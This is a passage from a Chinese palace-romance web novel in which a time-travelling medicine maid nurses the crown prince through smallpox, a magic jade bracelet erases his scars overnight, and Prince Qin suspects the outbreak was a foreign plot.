眼看着药碗就要朝她砸过来,就在这时,只听见从寝殿门口飞进来不知道是何物“咻”的一声,接着便是“啪嚓嚓”瓷碗落在地上发出了清脆而又刺耳的碎裂声音。

衣上云这时才试着慢慢睁开来眼睛,只见瓷药碗正好落在自己面前的地板上,只要再多一分,便会擦到自己的身体将她割伤。

再抬头一看轩辕昊,只见他坐在榻边两眼甚是惊讶,呆呆地望向寝殿门口怔着,随后张口道“秦皇叔,你...你怎么进来的,父皇不是下令已经将东华宫隔离封锁了吗?”

于是,衣上云亦是闻声急急回头,一回首便与轩辕翰那双冷厉的眼神和冰凉渗人的面孔撞了个正着。这个表情真的很有杀伤力,衣上云顿时只觉得自己血薄,不敢直视,速速低下头去行礼道“奴婢给秦王殿下请安”。

然而,轩辕翰面对着眼前这俩人均面不改色,亦对谁都没有说一句话。

此时,不怒而威的他墨发全束身着一袭黑衣站在寝殿门口,身姿伟岸挺拔,俨然一副神邸。黝黑深邃的双眸朝着眼前的境况凝视了片刻后,深吸一口气。接着大步上前朝着衣上云面前走去,而一上前,便狠狠捉起她的一只胳膊拽了便转身往殿外而去。

衣上云始料未及,万分惶恐竭力从他的大手中拼命挣扎着“殿下,您这是要带奴婢去哪儿?殿下,您不能来这里,殿下身份贵重不比奴婢,这里还很危险?殿下,您刚大婚不久,这样拉着奴婢要是被别人尤其是王妃娘娘知道了......”

忽然,轩辕翰收住脚步一个急转身回头过来与衣上云四目相对打断了她,而手却依旧紧紧握着她的手一点都未松开,就像是怕他松开后就再也握不到了似的。

只见本就冷厉的眼神此刻更加重了几分,竟似是愤怒地轻咬起了嘴唇。

可明明他那脸上和眼中全尽是怒着的,却在眼睛迅速的一个扑朔过后,用力一把将这面前如同一只惊弓之鸟的瘦瘦小小又软软的身子,完完整整的紧紧拥入自己宽大温暖的怀中。

“殿下...不要”衣上云瞪大了眼睛,倒吸着一口气惊道,似是本能的急急伸出那瘦弱的两只小手拼命想要挣脱他的怀抱,但就以她的力气,又如何能撼动得了正值血气方刚之年华的轩辕翰此时的一腔热情。

他一路隐忍着,预备了无数种见到这个女人后要如何处罚她的方式。可如今一见到她,他才知道方才的那些招数竟都一个都用不上了。

只要她当面一个真实的拥抱,足以平息他所有胸中的怒火。

忽然,轩辕翰含情脉脉地在她耳边轻唤道“让本王抱一会儿,就报一会儿...”

闻此,衣上云终于不再挣扎,竟突然间安静了下来,随即将两只小手缓缓放下后紧紧捏着自己的衣角,眼睛也瞬间变得温柔了起来。

她想,此刻的她该是傻掉了吧,竟突然有些贪婪起这个怀抱来。只是为什么会对这个怀抱有种似曾相识的感觉呢?这个怀抱,是那样的熟悉,似是已经历了几生几世。

轩辕翰觉察到她的放松,也终于吸了口气,又将她拥的更紧了一些,而她亦是听话乖乖地依偎在他的怀里。

此时的俩人亦像是在互相取暖,彼此慰藉着潜藏在各自内心最深处的那份孤独和寂寞。

而这一幕,恰好被在殿内凭窗而立的轩辕昊,透过窗棂看的清清楚楚。

此刻,他瞪大着双眼,简直不敢相信自己的眼睛,口中自言自语道“本太子那一向睥睨天下、万年冰山、不近女色的秦皇叔,竟也能如此深情。可那是一个如此卑微身份的小药女而已,还是个丑女”

定睛思量了半晌,随即又喃喃道“臭丫头,竟敢诓骗本太子说与秦皇叔不熟,不熟会被如此一向冷漠的秦皇叔这样怜惜的抱着。哼...看本太子等会儿如何收拾你”

窗外,轩辕翰终于依依不舍地将怀抱松开来,释放了怀中正一脸尴尬低头傻愣着的衣上云。

轩辕翰对她着实很心疼,但此时他已然恢复了平日里冰冷的声音问道“太子的病情如何了?”

衣上云听到这才抬起头来回答“太子的病情控制的很好,除夕前肯定可以痊愈,殿下放心”

轩辕翰听她亲口这样说,心里也算是安心了许多,毕竟他内心也还是极疼爱这个孩子的。便朝衣上云说“你做的很好”

衣上云却忽然眉毛上扬,一脸欣喜地说“这是东华宫和太医院所有人齐心协力的功劳,也是太子殿下的福气”

轩辕翰再次认真的看了她一眼:她的眼里充满的尽是医者善良的仁爱之心,这颗心让她全身都散发出耀眼的光芒,恍若爱神般怜悯爱护着世间众生。

最后他留下一句“衣药女,不要忘记对本王的承诺”

承诺?衣上云心里想着,上次在风华宫为了求助轩辕翰帮助轩辕玥,她曾许诺他:如果他帮轩辕玥得偿所愿,有情人终成眷属。那她的身,她的心生生世世都将会只属于轩辕翰一人。

“难道,他真的要...自己真的逃不掉了?”衣上云口中喃喃着。

想着想着便又陷入了沉思,而轩辕翰则走了过来到她身边贴耳柔声说了句“这辈子,你都别想逃了”

衣上云听了眼睛一怔,一脸惊愕地急急抬头,从侧面看着他冰冷深邃的眼睛,而这眼神里满满的都是坚定、霸道、竟让她心里不由得紧张和害怕......

说完,轩辕翰便匆匆踱步离去。望着他离去的背影,衣上云久久站在原地不得动弹,不知所措着。

“衣药女,原来你在这儿啊,你赶快过去看看吧,太子殿下出事了”紫嫣满头大汗急急忙忙跑过来说道,衣上云听了立马醒过神来往东华宫太子寝殿跑去。

“太子殿下,不能抓,千万不能抓啊”衣上云刚进去便看到寝殿门口跪着一地的宫女太监太医们,齐齐都在朝殿内的轩辕昊苦苦哀求着。

“抓或不抓,如今结果有何不同,你们这些奴才骗子,都是骗子。你们以为本太子真的不知,这天花痘疹的疤痕根本就好不了,本太子注定了这一生都容颜尽毁,活着还有什么意义?”

轩辕昊站在殿内,一手撑在搁置着一面铜镜的桌案前瑟瑟发抖,发狂地怒吼着。时不时竟还伸手去到处瘙着身上的痛痒之处。寝殿内地板上,瓷器瓶罐碎了一地。

“好了,这里交给我吧,你们都快出去吧”衣上云看见急急进去先催促着,让众人赶快离开这个尚且还并不安全的地带。

“衣药女,你自己也要当心呢”紫嫣蹙眉忧心地关切,一旁的张致远竟亦是让她意外地露着些对她的担忧之态。

“放心吧,都赶快出去吧”在衣上云不断的催促下,众人终于都散了出去。

一时间,寝殿内就剩下轩辕昊与衣上云俩人。

第五十三章:恐非天灾,而是人祸

众人散去,一时间,寝殿内就剩下轩辕昊与衣上云俩人。

只见衣上云深吐了一口浊气,似是尝试在打起精神来。随后便挪开步来朝着轩辕昊身边走过去,弯起腰捡拾起地上的瓷器碎片。

面对轩辕昊此时如此激动的情绪,她却不紧不慢地一边捡碎片一边说道“殿下心中不悦,又为何要如此无辜的迁怒于这些可怜的下人呢?”

“住嘴,你这个骗子,你还不给本太子快点儿滚出去,本太子再也不想见到你”轩辕昊听了仍满腔愤怒气急败坏地朝衣上云怒骂道。

衣上云这才渐渐起身来,一脸平静的对他说“太子殿下不幸染上天花病毒,但可知在这偌大的皇宫里,却只有外面院子里这些个奴颜婢膝之人,整日里冒着性命之忧在无微不至的照顾着殿下,他们个个都翘首期盼着殿下能够早日平安痊愈呢。正所谓,己所不欲勿施于人,殿下心有怨气,又怎忍心将其撒到这些对殿下以命相伴忠心耿耿之人的身上”

看到轩辕昊有些安静了下来,衣上云心想,他毕竟还只是个孩子而已,心中又怎会真的想要迁怒于别人。

于是便接着道“殿下既然如此这般厌恶看到奴婢的这张脸,那奴婢这就马上离开,重新安排新的婢女进殿内来侍候,还望殿下莫再动怒伤及贵体”

说完,衣上云便拿着从地上捡拾的瓷器碎片转身要出殿去。轩辕昊看见连忙紧张的发声却吞吞吐吐的道“不要,本太子...只要衣药女殿内侍候...本太子答应你今后不再随意发怒便是”

这时,只是刚刚转身还尚未迈开步来的衣上云,听到轩辕昊这句话,小嘴微微抿起轻轻眯了下那双好看的凤眼,随即便露出一丝倍感欣慰的笑容来。

紧接着,她转回身去缓缓走到轩辕昊的身边,对着轩辕昊的眼睛信心满满地说道“殿下放心,奴婢一定不会让殿下的脸上留下任何痕迹的,请殿下一定相信奴婢,好吗?”

轩辕昊此时亦是被她真诚而又坚定的言行感动,竟亦是对她信心满满地回应道“本太子相信你,一直都相信你”

俩人对视,都朝着对方微微笑着,衣上云这才劝道“殿下还是好好卧榻休息吧,这些红疹切莫再抓伤了,以防感染”

“那衣药女答应本太子,在榻边一直守着本太子,本太子不想一个人躺在这空荡荡冰冷的寝殿里,有时候竟会担心害怕一睡去会不会再也醒不来...”轩辕昊一脸忧郁向衣上云哀求道。

“奴婢不走,奴婢陪着殿下便是,殿下放心”衣上云温柔的应允。

轩辕昊终于安静地在榻上躺了下来,衣上云轻轻替他捻好被角便信守承诺坐了下来,守在旁边陪驾。

这时一直凝神看着衣上云脸孔的轩辕昊忽然说道“其实本太子方才不是真心要发怒的,本太子只是想逼你离开,本太子怕将这天花病毒传染给你。你很善良,本太子知道衣药女你故意将东华宫所有的奴才都拒之门外,只独自一人冒着被传染的风险尽心尽力整日整夜的在殿内侍候着,本太子真的很怕你被传染”

“殿下,虽然天花极易被传染,但是奴婢自会多加留意,殿下尽管安心养病便可”衣上云满是惊讶而又倍感欣慰地回答,他果然是个纯善的孩子,没有枉费自己的费心照顾和付出。

然轩辕昊接下来的话更是让她大为吃惊“本太子怕你被传染,更多是为了...为了本太子的秦皇叔”

衣上云听见,顿时眼睛一怔看了一眼轩辕昊又连忙慌乱不知所措地低下头红着脸颊,心里喃喃“难道刚才秦王殿下强行...被这个孩子瞧见了。可我不久前还跟他说与秦王并不相熟的,这会儿又该怎么解释,真是被这个王爷害惨了”

轩辕昊看到衣上云的紧张与慌乱,然他却继续说“你可知,本太子的秦皇叔原本并非如此冷漠凉薄之人吗?那都是因为......”

衣上云却忽然急急打断轩辕昊的话道“太子殿下,奴婢真的跟秦王不是很熟,更不敢试图了解秦王殿下,之前数次交集也只是机缘巧合而已。奴婢身份卑微,不敢对皇族之人存有丝毫越过本分的念头。而且秦王殿下刚刚大婚,如果传出什么对他不利的流言蜚语来,奴婢怕是万死难辞其咎”

轩辕昊见她说话如此大方得体、心胸坦荡、直言不讳、心思细腻,便道“难怪我俾睨天下的西秦秦王,会对你这样一个身份卑微姿色平平的婢女如此在乎。不过,本太子倒是真希望你们不是我想的那样,否则恐怕那东宁公主......”

轩辕昊欲言又止,他当然知道他的皇叔府邸里,现在已然有了一位尊贵无比的王妃,如此一来即便有朝一日眼前的她幸得皇叔恩宠将其纳入府里,那也依然要看着比她身份尊贵百倍千倍的东宁国公主的脸色过活,而眼前的这名很有主见的女子显然不是那种会逆来顺受之人。

“当然不是太子所想的那样”衣上云急急肯定着,生怕被他误会。

城东秦王府里。

梅汐媛见轩辕翰回府,急急朝着走过去柔声关切道“殿下回来了,不知太子如今病情如何了?”

轩辕翰没有看她,只顾自己往承华殿而去,后面的程良见了忙向其行礼回道“王妃娘娘,太子殿下的病情已被控制,王妃娘娘无须担心”

“那便好,殿下他这是......”梅汐媛欲言又止,她自以为轩辕翰还在为之前自己所做的种种而恼她,却并不知她对于轩辕翰来说,根本就不存在任何意义。

程良对此只是轻轻抿嘴一笑一副无可奈何和无可奉告的样子。

等程良帮主子应付好了这个女主子,到了大殿的时候,轩辕翰已经坐在书案边拿起密函一一拆开来审阅。见程良进来,他将手中的密函递给他。

程良一见密函里的内容,立马脸色变得阴暗起来读道“北烈国大皇子拓跋泽已成功混入我西秦市井之中,并得毒蛊术高人相助,殿下.......”

程良还没说完,轩辕翰先他开口道“照此看来,如果本王没猜错,太子的这次天花怕是...恐非天灾,而是人祸”

“人祸...那此人究竟用意何在?如果他知道了行动失败,还会不会找我西秦其他人下手?”程良急急问。

“全城搜捕,小心行事,切勿打草惊蛇”轩辕翰亦满脸担忧地下令。口中喃喃着“毒蛊术高人......”

程良领命却没有离去,轩辕翰忽然抬眼发现他尚还立在大殿之中。便问“还有何事?”

程良便眼睛向着轩辕翰,试图小心翼翼地问道“殿下既然去了宫里,为何不将衣药女带出东华宫,那里此时甚是危险,一旦被传染,那她......”

程良说着想着都不敢继续往下说了去,便停了下来。

轩辕翰听了后端坐起来,深吐一口浊气缓缓说道“本王相信她,她一定不会对本王食言。元宵节过后她一定会安然无恙的迈入秦王府的大门”

“那殿下当真要衣药女进王府来侍候王妃娘娘?”程良接着关切地问,然轩辕翰并没有作声,只将一双深邃不见底的眼眸望向窗外。程良见此便作罢,悄悄退了下去将门掩好。

轩辕翰心想,梅汐媛显然只是富甲一方的东宁国,安插到西秦的一个细作而已,但如今在众人眼中,她却只单纯的是秦王府的秦王妃。而衣上云......

是夜,承华殿里一室寂静,轩辕翰的思绪却越来越长。

......

光阴似箭,日月如梭。

转眼半月时间已经过去,眼看着再过几日便是新年了。民间和西秦皇宫内,人们都早已开始忙年了,到处都洋溢着热闹喜庆的气氛。

东华宫内,轩辕昊的天花痂盖已经开始自然脱落,尽管他觉得很痒极难承受,但在衣上云的规说下他还是坚强的隐忍着,身上到处留下的疱痕确实让人一看便触目惊心,但是还好在寝殿里,也只有衣上云一人看见。

自从上次轩辕昊在铜镜中看到自己的吓人模样后,衣上云便将所有铜镜遮盖住让人收了起来,不让他再有任何机会接触铜镜,伤及信心。

年底里,这天气也愈加的寒冷,然东华宫内却始终温暖如春。

衣上云日夜里不辞劳苦细致入微的照顾着轩辕昊的生活起居,少了太多的修养,她的腿疾又开始隐隐作痛了,此刻正在坐榻上吃力地揉捏着那一双酸痛至极的膝盖。

“你的腿怎么了,年纪轻轻为何便成了这般模样?”轩辕昊看见疑问道。

衣上云听见,匆匆整理好衣摆起身过去轩辕昊身边,帮其盖好锦衾微笑着说“奴婢没事,夜已经深了,殿下快早些就寝吧”

“衣药女,你再给本太子讲些故事吧,本太子现在还不想就寝”轩辕昊有些任性地要求道。

衣上云听了叹了口气,随后便无奈地问“那殿下这次想听怎样的故事呢?”

轩辕昊忽然听到从外面传进来让自己心中有些隐隐作痒的响声......

第五十四章:浩瀚星空,璀璨烟花

“衣药女,再给本太子讲些故事吧,本太子现在还不想就寝”轩辕昊有些任性地要求道。

衣上云听了叹了口气,随后便无奈地问“那殿下这次想听怎样的故事呢?”

轩辕昊忽然听到外面一阵隐隐约约似是炮仗燃起的声音,心中甚是作痒。便道“快过年了,衣药女就跟本太子讲讲宫外平常百姓家的孩子是如何过年的,可好?”

“嗯...普通百姓家孩子如何过年?”衣上云歪着脑袋口中喃喃,轻咬着那张绵柔的红唇。她这还是自从穿越到这个时空里第一次过年呢,原主的记忆里还真没留下这个,许是原主的童年里并不怎么快乐吧。

她怎么会知道在这个千年前的国度里平常百姓家的孩子是如何过年的呢?也许和21世纪里差不多吧?!

她灵机一动,忽然想起了21世纪里她小时候,大西北家乡的一首忙年歌,应该也都差不多应有尽有的将新年的活动都囊括其中了吧。

于是,便对轩辕昊说“奴婢读一支民间孩童的过年谣给殿下听吧,听了后殿下自会知道平常百姓家的孩子是如何过年的了:

二十三,灶王老爷上了天;

二十四,刷下对子写大字;

二十五,家家户户糊窗户;

二十六,上街去割过年肉;

二十七,全家老小都洗脚;

二十八,糕儿馍馍两笸箩;

二十九,提上壶壶灌烧酒;

年三十,供上祖宗摆上肉。

殿下,怎么样?”衣上云认真地回忆读完后,便满脸欣喜地问床榻上的轩辕昊,她已经有二十几年没有读过这支过年谣了,真不敢相信自己都还能记着。

然而,当她将目光垂下去再次看轩辕昊的时候,发现他不知何时竟早已安睡了去。于是,便微笑着摇摇头起身帮他轻轻捻好被角,撒下幔帐,踮起脚轻轻退出了大殿,来到外面幽静空旷的宫苑里。

大殿内很暖、宫苑外很冷、寒风刺骨、衣上云随即裹紧了棉衣。

恬静的冬夜,繁星点点争相辉映着,镶嵌在这浩瀚无边的天幕上,犹如一个个虔诚的愿望挂满深邃的夜空,等待着被点亮。

早就听说一年里,冬季的星空最为壮丽,是亮星最多的季节。今日一见,果然如此震撼。

衣上云抬头看着这大自然的神奇,不禁感叹道“真如康德名言所述,我们头顶上灿烂的星空果然能够深深震撼我们的心灵”

而就在这时,她手腕上的七彩 金丝彩玉镯子似是感应到了什么似的,竟再次现出一个极其闪亮的血色纹路,细细看着像极了是一个字,似是一个“百”。

然就如同前两次一模一样的,血色纹路亦是昙花一现,瞬间消失,接着七彩 金丝彩玉镯子又恢复了原状。她小心翼翼地将它摘下来,拿在手中细细端详着,顿时心生疑虑“这到底是在暗示什么呢?难道是系统里的什么指令符号?”

就在她陷入沉思之际,忽然从宫外不远处东边天幕下燃起一阵闪耀的烟花,甚是璀璨夺目,似是要升入这夜空中与繁星融为一体。

她仰起头,眼睛扑朔着,嘴角微微上扬对着漫天盛开的烟花露出好看的弧度,透过脸上遮盖着的轻薄面纱朦朦胧胧,显得那样唯美而又动人。

这场盛大的烟火,不是别人,正是秦王轩辕翰的杰作。他也不知道为何今夜他要出来在这郊外的空旷地上燃起这堆声势浩大的烟火。

程良依命点燃了所有烟火后,缓缓朝着主子走过去自行领会,朝轩辕翰说道“殿下,这场华丽的烟花,衣药女一定能看到”

“多嘴”轩辕翰此时亦是同样望着这浩瀚星空,璀璨烟花。听到程良的这句话一脸冰冷地训斥道。

东华宫里,衣上云从寒冷的宫苑刚回到了暖烘烘的寝殿里,手里依旧拿着那个七彩 金丝彩玉镯子一脸不解地寻思琢磨着。

突然耳边一个熟悉的声音响起“你手里拿的什么东西?”

衣上云这才抬眼一看,原来是轩辕昊醒了,便走过去急急道“殿下怎么醒了,哦......殿下一定是被刚才外面的那场烟花燃爆声吵醒的对吗?也不知是哪个讨厌鬼这么晚了还如此声势浩大的燃放烟花,真是讨人厌”

衣上云刚刚明明还对这场绚烂的烟花喜欢地不得了,此时进来一看到轩辕昊被吵醒斜靠在榻边便如此犀利的谩骂起来。

“本太子根本就没有睡,好不好?”轩辕昊道。

听到轩辕昊这话,衣上云顿时一愣甚是尴尬又一脸无辜的说“太子殿下这是为何?那奴婢刚刚跟殿下讲话,殿下为何闭目不答呢?”

“本太子只是见衣药女太辛苦,想让你早点歇息,却不想这么晚了外面天寒地冻的你竟还跑出去。外面的烟花很好看?”

轩辕昊此时俨然像个小大人一样尤为关切地说着问着,衣上云难掩方才心中的喜悦急急眉飞色舞地答道“殿下,外面好看的可不止是烟花,还有只在冬日里才独有的满天繁星,一闪一闪,甚是耀眼夺目。等殿下病愈可以出门了,奴婢陪殿下一起看,可好?”

“好,本太子等着......你手里拿的什么玩意,看的如此痴迷,也给本太子瞧瞧”轩辕昊看着衣上云拿在手中的手镯便伸出手也想要来看看。

“哦,这不过是个入不了殿下眼的镯子而已,太子殿下想看尽管拿去看便是”衣上云说着便大方地将镯子递到轩辕昊手中。

“金丝玉镯...集天地日月之精华,藏乾坤万物之灵气,佩戴可祛病除疾。想不到衣药女还有这等宝贝”轩辕昊接过镯子仔细看了看,惊讶地对衣上云说道。

“殿下,实不相瞒,这个玉镯是一个对奴婢很重要的人送的,原本并不属于奴婢”衣上云急急解释。

“很重要的人?...意中人?”轩辕昊斜着眼睛打趣她道。

“殿下......”衣上云有些难为情亦不知如何解释,欲言又止道。

轩辕昊见她这副神情,便饶了她不再追问,于是说道“既然这个镯子佩戴可以祛病除疾,那衣药女可舍得借本太子几日?”

“当然可以,但殿下...殿下务必小心,不要再动怒给奴婢扔了,殿下用完务必归还奴婢,奴婢真的很在意这个玉镯。或许未来有一日,奴婢还要将此玉镯还给那人”衣上云有些担忧地说。

“那就这样说定了,等本太子病好了,一定会加倍还你”轩辕翰顽皮而又似诚意满满的说着便把玉镯套在了自己的手腕上端详起来。

片刻后,轩辕昊方才还一直表情丰富的脸却忽然沉了下来,似为很慎重地对衣上云说道“衣药女,本太子...想看看自己的脸”

衣上云欢喜的容颜顿时愣住转为忧虑,说“太子殿下......”,然话未说完她迟疑了片刻,终究还是过去拿了那面已被一方宝蓝色锦布遮掩许久的铜镜,心情忐忑着走到轩辕昊的面前。

只见轩辕昊低着眼,表情凝重,双手紧握成拳,而片刻后又缓缓松开来,似是鼓足了勇气般慢慢抬起头向面前衣上云手中的铜镜里看去。

镜中再也不见了往日里那满脸英气的少年,取而代之的是一脸痂皮脱落后遗留下的麻斑,和他整日里看到的自己四肢上的疤痕一模一样,密密麻麻,触目惊心。

轩辕昊看着看着竟咬牙切齿地发起抖来,终究忍不住一怒之下,迅速伸出手去一把狠狠将衣上云手中的铜镜打落在地,撞击到地板上破碎了一地,发出清脆的“噼里啪啦”的声音。

随即,他开始撕心裂肺的抱头痛哭呐喊起来“不要,为什么,为什么...为什么本太子会成这个样子”

衣上云看到他现在失控的样子,亦是心痛无比,她赶忙坐到榻边用自己微弱瘦小的身躯和怀抱紧紧抱住眼前这个可怜的孩子,眼里含着泪水激动地对他说“太子殿下...不要难过...会好的...一定会好的...云儿一定会有办法帮助殿下...一定可以”

轩辕昊亦是同时抱紧了衣上云,寝殿里俩人紧紧拥在一起,双双落泪,痛不欲生......

终于,轩辕昊哭累了趴在衣上云瘦弱的肩上安静睡了去。她再次帮他捻好被角,撒下幔帐。

擦干了泪痕,心情沉重地对着沉睡中的轩辕昊说“如此真诚善良的一个孩子,却因为生在了帝王家,从小便要面对和承受各种内忧外患,防不胜防,终成了众矢之的”。

随即便叹气摇了摇头,起身来一片片开始收拾那一地的铜镜碎片,心想着:毒医本一家,本都应以救济苍生,医死扶伤为己任,而今却成为争夺天下皇权势力的附属品,她深深蹙眉心里愤愤不平着。

忽然,她眼睛一怔,像是想起了什么似的迅速收拾好铜镜碎片后,便急急走过去在轩辕昊的病榻边。

七彩 金丝彩玉镯子此刻正安静地套在这个少年的手腕上,睡梦中的少年一脸恬静,她真希望时光永远定格在这一秒,此生惟愿眼前的这个孩子再也不要受到任何伤害。

她看得入了迷,缓缓坐了下来一手撑起下巴,端详眼前正在酣睡着的少年,另一手轻轻伸出去触摸着轩辕昊手腕上的金丝玉镯,口中喃喃道“手镯啊手镯......

第五十五章:是奇迹,而非梦游

衣上云凝视着榻上熟睡着的轩辕昊看得入了迷,最后缓缓坐了下来用一手撑着下巴,其臂肘支在榻沿,眼神温柔地继续端详起眼前正在酣睡着的少年。随即伸出另一手轻轻触摸着轩辕昊手腕上的七彩 金丝彩玉镯子,口中诚挚地喃喃乞求“玉镯啊玉镯,你强大的功能到底何时才能开启为我所用?在这个时空里,也只有你才有这个能量...请帮帮这个可怜的孩子吧”

不知不觉间,衣上云终于也满是疲惫地打起盹来,没一会儿功夫便就这样趴在轩辕昊的榻沿边沉沉的睡了过去。

冷风凄凄、长夜漫漫、有人相伴,日子总是过的飞快。

待到天微微亮的时候,衣上云总能依照自己良好的生物钟准时清醒,此刻她正睡眼朦胧地醒过来。

显然趴着睡让她感到十分难过,只见她一边迷迷糊糊地揉着那对好看的凤眼一边散漫地打着哈欠,慢慢端坐起来伸展着浑身筋骨。忽觉脖子有些僵硬,脸上便露出了极为不悦的表情,随即握起一只秀拳来轻轻朝着后颈部敲了过去。

一不小心那对凤眼落在了榻上尚还在睡梦中的少年脸上,忽然一时间里竟激动地说不出话来。

“殿...殿...殿下...殿下你的脸...你的脸...”她太惊讶,太意外了,竟不由得结巴了起来。

“我的脸...本太子的脸...脸怎么了?”轩辕昊原本并未真的睡着,只是不忍心早起让衣上云早早便开始忙碌而装睡着。然却被她此时的急呼声惊坐起来,亦是被她此时甚是夸张的诧异表情惊到。

衣上云根本说不了话,只急急起身来朝着殿外狂奔而去,留轩辕昊独自一人惊慌失措的端坐在榻上一脸的懵,不知到底自己脸上发生何事。

“紫嫣,紫嫣”衣上云一出殿门,便欣喜若狂地叫喊着。

“衣药女,发生何事?如此慌张”紫嫣听见焕她,急急向衣上云大步过来道。

“快,快拿铜镜,太子...太子殿下他...他的脸痊愈了,而且...而且一点疤痕都没有”衣上云太过意外,至今还在结巴着。

紫嫣听了,亦是大惊又不敢相信,便连忙转身回去取了铜镜过来递给衣上云,一旁众人都听见了这个奇迹般振奋人心的消息,亦是全部都朝着寝殿里蜂拥而去,要亲眼见证这个历史性奇迹发生的时刻。

向来天花几乎就是绝症,能保住一条性命已属不易。而今一大早,却从衣上云的口中得知太子殿下不但保住了性命,竟连天花过后必留下的满脸麻斑都消失的无影无踪,这怎能不让人兴奋,怎能不算是奇迹呢?!

“该不会是衣药女一大早在做梦,梦游了吧”旁边人群里有人悄悄怀疑道。

然衣上云只顾拿了铜镜后急急入了寝殿,来到轩辕昊身旁微笑着双手捧着那面铜镜竖在他面前道“殿下快看”

轩辕昊一直都担心着不知他的脸上究竟发生了何事,如今只看到衣上云一脸的欣喜之态,还有这忽然蜂拥而至的满大殿的宫女内监。随即便带了些许怯怕的心情,缓缓朝她手中的铜镜里看去。

“本太子的脸...本太子的脸真的...”轩辕昊亦是此时不敢相信自己的眼睛,只看到衣上云站在他面前捧着铜镜,抿着嘴唇高兴地眼里竟然噙满了泪水,眼睛扑朔迷离地点着头向轩辕昊肯定着他的所见。

殿内众人亦是个个都瞠目结舌,喜极而泣地一边看着轩辕昊一边抹着泪水,方才还悄悄怀疑是衣上云在梦游的奴才此刻用两只手拼命的揉着眼睛......

整个东华宫被隔离的人,大半个月的日日夜夜痛苦煎熬、担惊受怕、人心惶惶、终于得到了今天奇迹般的结果。

轩辕昊竟不顾身份,连忙掀起身上的寝衣,衣袖,裤腿来...,只见昨日里还到处密布着的痂皮脱落后遗留下的密密麻麻,触目惊心的天花麻斑,竟在一夜之间全部都不见了踪影,一点痕迹也找不到,宛若这天花从来都未曾光顾过他似的。

顿时,轩辕昊眼里亦是充满了泪水,欲想要流下来。衣上云见了急忙将手中的铜镜递给一旁的紫嫣,拿起衣袖中的“云”字丝帕赶紧上前帮轩辕昊擦拭掉温和劝道“殿下,男儿有泪不轻弹”

轩辕昊听了后注视着衣上云的眼睛,用力抿起嘴来隐忍。

这时,张致远匆匆上前一脸严肃的替轩辕昊细细把脉。片刻后亦是顿时满脸大惊,笑道“恭喜殿下,贺喜殿下,殿下脉象平稳缓和,确已痊愈”

伴随着张院判的这一最终宣告,所有东华宫的奴才太医们包括衣上云在内全都通通下跪叩首道“恭喜太子殿下大病痊愈”

“对了,赶快去通知皇上和皇后娘娘,快...”刚一起身,紫嫣一边拭着眼角的泪水一边命身旁的奴才赶快去传话。

此时,所有人终于不约而同地摘下了挂在脸上已大半个月,憋闷的似要快让人窒息的面巾来,深深地呼吸起这殿内自由的空气,人人脸上都洋溢着发自内心最灿烂真挚的笑容,欢呼雀跃着。

朝华宫里。

皇后正满脸失落地对身旁的轩辕玥道“眼看这年关将至,再过两日便是除夕夜了。这几年母后对你皇弟是日盼夜盼,终于盼到他回宫来,岂料他一回来便遭此大难。早知如此,还不如让他不要回来,至少在外人是好端端的,不像如今这般身心饱受折磨,可怜他还只是个不足10岁的孩子......”

说着,皇后甚是自责地流起伤心的眼泪,于是便再也说不下去了,轩辕玥看到心里亦是感到极为无奈和心酸。

正在这时,门外慌慌张张奔跑进来一个陌生脸孔的太监,进门的时候许是慌张亦或胆怯,竟差点被门槛绊倒。

然依旧踉踉跄跄的疾跑进大殿来“扑通”一声跪倒在地,随之见他又惊又喜结结巴巴道“奴才...奴才是...是东华宫太监...启禀皇后娘娘...玥公主殿下...”

一听到太监自报是东华宫来的,皇后和轩辕玥一同急急站起身来,轩辕玥先于皇后瞪大了眼睛急急问道“东华宫究竟发生何事?还不快禀”

皇后竟连忙走下来朝那太监身边走去“是不是太子他...大胆奴才,你们都是怎么侍疾的。不可能...不可能...我的皇儿”

皇后几乎都等不及听那太监把话说完,便随着自己多日以来心里的担忧,竟断定轩辕昊已经无力回天散手人寰了,立刻痛哭起来。

就在此时,那太监一急之下迅速地一气呵成“不是的,娘娘。张院判刚刚替殿下把脉已经确认,太子殿下的天花已经痊愈,而且浑身上下没有留下一点麻斑,太子殿下安然无恙”

“什么”

“什么”

轩辕玥和皇后惊讶地异口同声道。

“摆驾东华宫”皇后听了立马下令,轩辕玥亦是急急忙忙跟着前往。

东华宫内,奴才们跪了一地齐齐大呼“参见皇上,吾皇万岁万岁万万岁”

璟帝低着眉一脸严肃地朝面前众人道了句“平身”

接着他端起一张冰冷的面孔看向一旁的张致远,似是很无奈的轻叹了口气,双手负后着对其道“张致远,太子果真痊愈了?”

张致远急忙起身上前到璟帝面前恭恭敬敬地回道“启禀陛下,千真万确,太子的天花已然痊愈,且全身上下未留下一点痕迹”

然璟帝却道“这怎么可能,自古谁人不知染了天花就如同得了不治之症,就算侥幸保住一命,那也是必要留下一脸麻斑容颜尽毁,怎么可能一点痕迹都没有?你该不会是又诊错了吧?”

张致远亦是不知该如何解释发生在自己眼前的这个奇迹,只道“微臣亦是对此颇为不解,许是太子身为人中龙凤,自有上天垂怜与庇护,才得以逃过此劫”

“你...真是一派胡言,你这个院判,真的是......你给朕在殿外跪着,好好反省反省,朕待会儿再来好好治你的罪”

璟帝对张致远显然已经很不耐烦了,上次误诊的帐还未来得及跟他算,心想先安排他替太子诊治,戴罪立功,而眼下又对他的疑惑如此搪塞地作答。

无奈,璟帝只得气哄哄的移步往寝殿内进去亲自查验。而此时,张致远才连忙捉起衣袖来擦拭起鬓角早已渗出的冷汗并领旨乖乖罚跪在东华宫殿外。

见璟帝进来,轩辕昊和衣上云连忙过去跪拜。

“儿臣参见父皇”

“奴婢参加皇上”

璟帝忙伸手出去拉住轩辕昊的手来,将其扶起关切道“起来吧,皇儿受苦了”

“是儿臣不孝,让父皇担忧了”轩辕昊一边起身一边对璟帝深情的说道。

等到轩辕昊完全起身抬起头来,璟帝这才仔细地定睛打量起轩辕昊的脸“皇儿果真已经痊愈,似是...也并无留下丝毫麻斑”

轩辕昊亦是兴奋的急急道“父皇,儿臣能得已痊愈,这全是依赖衣药女的功劳。父皇有所不知,她日日夜夜不离儿臣的视线,不辞劳苦、极尽所能、无微不至地鼓励和照顾儿臣。儿臣这才得以迅速痊愈,父皇一定要重重的赏她才是”

璟帝听了轩辕昊这席话,心想:眼前这女子果然非同一般,不但交好了朕的公主不算,这会儿竟连初次见面的朕的皇子也都极力维护她。看来...这女子可真不容小觑。

但是他还是得顾及轩辕昊的面子,于是便道“既然太子都亲口为你请赏,那你想要什么赏赐,尽管说来”

